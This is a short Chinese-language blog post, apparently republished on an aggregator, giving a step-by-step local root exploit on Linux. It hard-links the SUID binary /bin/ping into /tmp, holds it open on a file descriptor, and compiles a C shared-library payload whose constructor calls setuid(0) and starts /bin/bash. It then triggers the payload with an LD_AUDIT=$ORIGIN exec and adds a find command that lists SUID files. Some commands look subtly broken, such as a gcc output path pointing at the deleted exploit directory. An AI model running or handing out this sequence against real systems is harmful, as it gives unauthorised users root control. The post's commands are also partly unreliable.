SUID提权

Posted zpchcbd

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SUID提权相关的知识,希望对你有一定的参考价值。

查看tmp目录权限
ll -d /tmp

切换到tmp目录
cd /tmp

创建一个exploit目录
mkdir exploit

查看ping命令带suid权限
ll /bin/ping

创建target文件硬链接
ln /bin/ping /tmp/exploit/target

查看target文件权限
ll /tmp/exploit/target

把target文件加载到内存中
exec 3< /tmp/exploit/target

查看target在内存中的情况
"ll /proc/$$/fd/3"

删除target文件
rm -rf /tmp/exploit/

查看target在内存中的情况是删除状态
"ll /proc/$$/fd/3"

创建一个c语言代码
vim payload.c

void __attribute__((constructor)) init()  // 两个下划线
{
     setuid(0);
     system("/bin/bash");
}

利用gcc编译这段代码
gcc -W -fPIC -shared -o /tmp/exploit payload.c

提升到root权限
LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

执行完,查看当前会话已经是root
whoami

附:通过以下的命令可以找到系统上所有的设置了suid的文件:
find / -perm -04000 -type f -ls

以上是关于SUID提权的主要内容,如果未能解决你的问题,请参考以下文章

SUID提权:CVE-2021-4034漏洞全解析

Linux SUID提权&劫持环境变量提权

设置SUID用于提权或降权

linux 提权-SUID提权

设置SUID用于提权或降权

SUID提权